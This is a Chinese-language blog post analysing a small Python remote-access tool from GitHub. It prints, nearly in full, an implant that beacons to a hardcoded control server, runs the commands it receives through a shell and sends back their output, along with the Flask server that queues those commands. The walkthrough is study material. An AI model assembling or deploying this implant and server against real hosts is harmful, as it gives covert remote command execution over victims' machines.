分析一款仅能执行命令的python远控
github上找了一个python的简单远控来进行分析,从而了解其中的一些原理。
client端
首先我们分析被控端的代码
太长我就不全部贴上来了,但会每一段都进行分析。
首先是主函数
if __name__ == "__main__":
print("[+] start client")
client = Client()
client.run()
新建了一个类Client,使用了run方法,跟踪一下看看。
class Client():
def __init__(self):
self.server_ip = "192.168.100.1"
self.server_port = "5050"
self.base_url = "http://"+self.server_ip+":"+self.server_port
self.token = "bkq98"
self.init_name()
self.sleep_time = 3
self.cmd_id = None
self.result = ""
首先定义了类的一些基本的参数,比如服务端ip端口等。
随后便是run()
def run(self):
# 心跳
while True:
self.heartbeat()
time.sleep(self.sleep_time)
会不断的调用heartbeat()并且沉睡一段时间
def heartbeat(self):
# 有上次的执行结果就上传 没有就心跳
# server返回有命令且不是上一次的命令则 执行命令存储结果等待下一次心跳上传执行结果
url = self.base_url+"/heartbeat/"
data = {
"token": self.token,
"name": self.name,
"result": self.result,
"cmd_id": self.cmd_id
}
if self.result !="":
data["result"] = self.result
self.result = ""
response = self.send_data(url, data)
if response==None:
return
# 有命令需要执行并返回
if response.status_code==200:
server_data = json.loads(response.content)
cmd = server_data.get("cmd", "")
cmd_id = server_data.get("cmd_id", "")
if cmd_id == self.cmd_id:
return
if cmd:
print("[+] cmd: "+cmd)
self.result = str(self.exec(cmd))
print("[*] result: "+self.result)
self.cmd_id = cmd_id
首先是判断结果是否为空,如果为空则不作操作。
然后调用send_data()
发送心跳包
def send_data(self, url, data):
try:
response = requests.post(url,json=data, timeout=10)
return response
except Exception as e:
print("[-] "+e)
return None
将定义好的data发送出去,并返回一个response。
按照作者给的注释,如果返回状态值为200并且没有报错,则是需要返回执行的命令的结果。
随后接受,服务端传过来的两个参数,cmd和cmd_id,验证cmd_id是否是自己的id,如果是的话则直接结束。
然后调用self.exec()
来执行命令,我们下面看看
def exec(self, cmd):
if cmd.startswith("sleep"):
self.sleep_time = int(cmd.split(" ")[-1])
return "time set ok"
if cmd.startswith("msf"):
#TODO
return "msf set ok"
return run_cmd(cmd)
可以看出这里是一个功能检测,方便我们后期拓展。输入关键词就可以执行响应的操作,如果是sleep。则将自己的心跳时间修改为cmd最后一个参数。如果是msf,就写入联动msf的代码就好了,这里作者还没做好。
如果是正常的执行命令则,调用run_cmd函数。这里我们跟如run_cmd函数。
def run_cmd(cmd):
p = subprocess.Popen(cmd, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True, close_fds=True,
start_new_session=True)
formats = 'gbk' if platform.system() == "Windows" else 'utf-8'
try:
result = p.stdout.read()
p.wait()
return result.decode(formats)
except :
return "命令执行错误"
这里改成了一个子线程,根据系统来进行返回值的编码,然后执行第一个cmd,由于设置了shell=True,那我们的命令是可以带空格执行的。
随后就是return命令执行结果,并且wait线程。
接着看上面heartbeat()最后一步
if cmd:
print("[+] cmd: "+cmd)
self.result = str(self.exec(cmd))
print("[*] result: "+self.result)
self.cmd_id = cmd_id
将self.result赋值成结果然后self.cmd_id赋值成cmd_id,这个cmd_id就是心跳检测的关键,在sleep了设定的数值之后,如果cmd_id,那么就不会返回新的结果,除非有新的cmd_id出现,否则不会执行任何命令。
随后执行完命令之后继续沉睡指定时间,然后继续while循环
最后就是有一个检测,如果用户输入ctrl+c,那么就会停止这个脚本
def ctrl_c(signum,frame):
print()
print("[-] input ctrl c")
sys.exit()
signal.signal(signal.SIGINT, ctrl_c)
web端(控制端)
简单看了下,基于flask框架开发的。
主代码:
from app import app
if __name__ == "__main__":
app.run("192.168.100.1", 5050, debug=True)
定义你的服务器ip和访问的端口,不过这个没有密码,后续要使用的话,可以加入一些响应的鉴权措施。
router.py路由:
@app.route("/")
def index():
client_list = Clients.query.order_by(Clients.update_time).all()
return render_template(
"index.html", clients = client_list)
做了个跳转,跳转到index.html页面
@app.route("/heartbeat/", methods=["POST"])
def heartbeat():
data = request.get_json()
print(data)
token = data.get("token")
if token !="bkq98":
return jsonify({})
# 先判断是否需要注册client
name = data.get("name")
ip = request.remote_addr
client_result = data.get("result")
client_cmd_id = data.get("cmd_id")
db_client = Clients.query.filter(Clients.name==name, Clients.ip==ip).first()
if db_client:
db_client.update_time = datetime.datetime.now()
db.session.commit()
else:
client = Clients()
client.name = name
client.ip = ip
try:
db.session.add(client)
db.session.commit()
except Exception as e:
print(e)
if client_result:
# 上次结果
print("[+] client: "+name+" ip: "+ip+" upload result: "+ client_result)
db_echo_result = EchoResult.query.filter(EchoResult.id==client_cmd_id).first()
db_echo_result.result = client_result
db.session.commit()
# 获取是否有需要执行的命令
db_echo_result = EchoResult.query.filter(EchoResult.client_name==name,EchoResult.ip==ip,EchoResult.result==None).first()
if db_echo_result:
cmd_id = db_echo_result.id
cmd = db_echo_result.cmd
print("[+] server issued cmd:"+cmd+" name: " +name+" ip: "+ip)
return jsonify({"cmd_id":cmd_id, "cmd":cmd})
return jsonify({})
这个路由就是client端心跳包请求的地址
首先会将心跳包传的参数存储到data变量中,随后会校检一下其中的token是否是我们设置的token,
随后就是一系列的提取数据
name = data.get("name")
ip = request.remote_addr
client_result = data.get("result")
client_cmd_id = data.get("cmd_id")
db_client = Clients.query.filter(Clients.name==name, Clients.ip==ip).first()
if db_client:
db_client.update_time = datetime.datetime.now()
db.session.commit()
else:
client = Clients()
client.name = name
client.ip = ip
try:
db.session.add(client)
db.session.commit()
except Exception as e:
print(e)
然后就是检测是否是数据库中已有的用户,如果是的话,就更新数据库的时间,如果不是,就添加一个用户。
if client_result:
# 上次结果
print("[+] client: "+name+" ip: "+ip+" upload result: "+ client_result)
db_echo_result = EchoResult.query.filter(EchoResult.id==client_cmd_id).first()
db_echo_result.result = client_result
db.session.commit()
# 获取是否有需要执行的命令
db_echo_result = EchoResult.query.filter(EchoResult.client_name==name,EchoResult.ip==ip,EchoResult.result==None).first()
if db_echo_result:
cmd_id = db_echo_result.id
cmd = db_echo_result.cmd
print("[+] server issued cmd:"+cmd+" name: " +name+" ip: "+ip)
return jsonify({"cmd_id":cmd_id, "cmd":cmd})
return jsonify({})
这里就是首先获取了上次的结果,检测result参数是否是none,如果是的话,就是需要执行的新命令,返回过去并且等待下一次获取。
其他的路由没有什么讲的,就是几个显示页面,显示一些信息。
在__int__.py
文件中定义了数据库文件
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
import os
app = Flask(__name__)
base_dir = os.path.abspath(os.path.dirname(__file__))
app.config["SQLALCHEMY_DATABASE_URI"] = 'sqlite:///' + os.path.join(base_dir, "../", 'miansha3.db')
app.config["SQLALCHEMY_COMMIT_ON_TEARDOWN"] = True
db = SQLAlchemy(app)
from app import router
with app.app_context():
db.init_app(app)
db.create_all()
总结
其实也比较简单,这款远控,毕竟只有执行命令的功能
开发的大概思路就是被控端会定时发起心跳包到服务端,服务端接受心跳包中上一次执行命令的结果,并且返回新的命令。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。